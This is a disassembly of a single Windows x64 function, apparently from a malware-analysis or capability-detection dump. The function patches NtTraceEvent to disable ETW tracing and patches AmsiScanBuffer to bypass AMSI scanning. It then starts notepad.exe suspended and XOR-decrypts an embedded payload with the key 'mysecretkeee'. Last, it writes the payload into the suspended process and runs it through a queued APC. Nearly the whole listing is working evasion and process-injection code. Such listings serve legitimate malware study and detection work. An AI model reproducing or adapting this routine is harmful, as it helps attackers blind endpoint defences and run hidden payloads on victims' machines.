Function at 0x1400018d0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Resume thread

Disassembly:
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor ecx, ecx
mov rax, rdx
mov dword [rbp + 0x14], ecx
lea rdx, str.edge.exe
mov qword [rbp - 0x68], rcx
movups xmmword [rbp - 0x4c], xmm0
mov rcx, qword [rax]
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140001d3d
mov qword [rsp + 0x140], rbx
lea rcx, str._n_NTTRACEEVENT_PATCHING__n
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rdi
call fcn.140001560
mov rcx, qword [0x14004dc28]
lea rdx, str.NtTraceEvent
xor esi, esi
mov byte [rbp - 0x60], 0xc3
mov dword [rbp - 0x5c], esi
mov qword [rbp - 0x58], 1
call fcn.1400015c0
mov rdx, rax
mov qword [rbp - 0x80], rax
lea rcx, str.___tLocation_of_NtTraceEvent:__p_n
call fcn.140001560
mov rbx, qword [rbp - 0x80]
lea rcx, str.___tNtTraceEvent_3rd_byte_before_patching:__04x_n
movsx edx, byte [rbx + 3]
call fcn.140001560
lea rax, [rbp - 0x5c]
mov r9d, 0x80
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x80]
lea rcx, [rsi - 1]
call qword [0x14004dc20]
test eax, eax
js 0x1400019d7
lea rcx, str.___tProtection_of_NtTraceEvent_changed_to_wcx_n
call fcn.140001560
mov r9d, 1
mov qword [rsp + 0x20], rsi
lea r8, [rbp - 0x60]
lea rdx, [rbx + 3]
lea rcx, [r9 - 2]
call qword [0x14004dc38]
mov rdi, qword [rsp + 0x158]
test eax, eax
js 0x140001a1c
lea rcx, str.___tRET_instruction_copied_successfully_n
call fcn.140001560
movsx edx, byte [rbx + 3]
lea rcx, str.___tNtTraceEvent_3rd_byte_after_patching:__x_n
call fcn.140001560
mov r9d, dword [rbp - 0x5c]
lea rax, [rbp - 0x5c]
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffffffffffff
call qword [0x14004dc20]
test eax, eax
js 0x140001a5a
lea rcx, str.___tProtection_of_NtTraceEvent_restored_n
call fcn.140001560
lea rcx, str.___tPatching_successfull_n
call fcn.140001560
lea rcx, str._n_AMSI_PATCHING__n
call fcn.140001560
mov rcx, qword [0x14004dc40]
lea rdx, str.AmsiScanBuffer
mov dword [rbp - 0x5c], esi
mov byte [rbp - 0x60], 0x74
mov qword [rbp - 0x58], 1
call fcn.1400015c0
mov rdx, rax
mov qword [rbp - 0x80], rax
lea rcx, str.___tLocation_of_AmsiScanBuffer:_0x_p_n
call fcn.140001560
mov rbx, qword [rbp - 0x80]
lea rax, [rbp - 0x5c]
mov r9d, 0x80
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov rcx, 0xffffffffffffffff
lea rdx, [rbp - 0x80]
call qword [0x14004dc20]
test eax, eax
js 0x140001ad3
lea rcx, str.___tProtection_of_AmsiScanBuffer_changed_to_wcx_n
call fcn.140001560
movsx edx, byte [rbx + 0x83]
lea rcx, str.___tAmsiScanBuffer_before_patching:__x_n
call fcn.140001560
mov r9d, 1
mov qword [rsp + 0x20], rsi
lea r8, [rbp - 0x60]
lea rdx, [rbx + 0x83]
lea rcx, [r9 - 2]
call qword [0x14004dc38]
test eax, eax
js 0x140001b29
lea rcx, str.___tPatch_applied_successfully_n
call fcn.140001560
movsx edx, byte [rbx + 0x83]
lea rcx, str.___tAmsiScanBuffer__after_patching:__x_n
call fcn.140001560
mov r9d, dword [rbp - 0x5c]
lea rax, [rbp - 0x5c]
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffffffffffff
call qword [0x14004dc20]
test eax, eax
js 0x140001b67
lea rcx, str.___tProtection_of_AmsiScanBuffer_restored_n
call fcn.140001560
lea rcx, str.___tPatching_successfull_n
call fcn.140001560
lea rcx, str._n_DLL_UNHOOKING__n
call fcn.140001560
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001bc8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_n____tFailed_to_create_process._Error_code:__u_n_n
call fcn.140001560
mov edx, dword [rbp - 0x68]
lea rcx, str.___tProcess_created_in_suspended_state_with_pid:__d_n
call fcn.140001560
mov rcx, qword [rbp - 0x78]
call fcn.140001670
lea rcx, str._n_PROCESS_INJECTION__n
call fcn.140001560
movups xmm1, xmmword [rbp - 0x78]
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x58]
xor r8d, r8d
mov dword [rbp - 0x5c], esi
movq rcx, xmm1
movaps xmmword [rsp + 0x50], xmm1
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x58], 0x48433
mov dword [rsp + 0x20], 0x1000
call qword [0x14004dc18]
test eax, eax
js 0x140001c3e
mov rdx, qword [rbp - 0x80]
lea rcx, str.___tRW_buffer_created_in_suspended_process:__p_n
call fcn.140001560
mov r9d, esi
lea rdx, str.bfs
mov rax, rsi
lea r10, str.mysecretkeee
nop dword [rax]
nop word [rax + rax]
cmp rax, 0xc
lea rdx, [rdx + 1]
mov rcx, rsi
cmovne rcx, rax
inc r9d
movzx eax, byte [rcx + r10]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
cmp r9d, 0x48433
jb 0x140001c60
mov rbx, qword [rsp + 0x50]
lea r8, str.bfs
mov r9, qword [rbp - 0x58]
mov rcx, rbx
mov rdx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rsi
call qword [0x14004dc38]
mov rsi, qword [rsp + 0x150]
test eax, eax
js 0x140001cc1
lea rcx, str.___tPayload_successfully_copied_to_suspended_process_n
call fcn.140001560
lea rax, [rbp - 0x5c]
mov r9d, 0x20
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [0x14004dc20]
test eax, eax
js 0x140001cf1
lea rcx, str.___tRemote_buffer_marked_as_RX_n
call fcn.140001560
movaps xmm0, xmmword [rsp + 0x50]
xor r8d, r8d
mov rcx, qword [rbp - 0x80]
psrldq xmm0, 8
movq rbx, xmm0
mov rdx, rbx
call qword [0x14004dc10]
test eax, eax
je 0x140001d20
lea rcx, str.___tUser_APC_queued_successfully_n
call fcn.140001560
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.___tThread_resumed_:__n
call fcn.140001560
mov rbx, qword [rsp + 0x140]
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140001d70
add rsp, 0x130
pop rbp
ret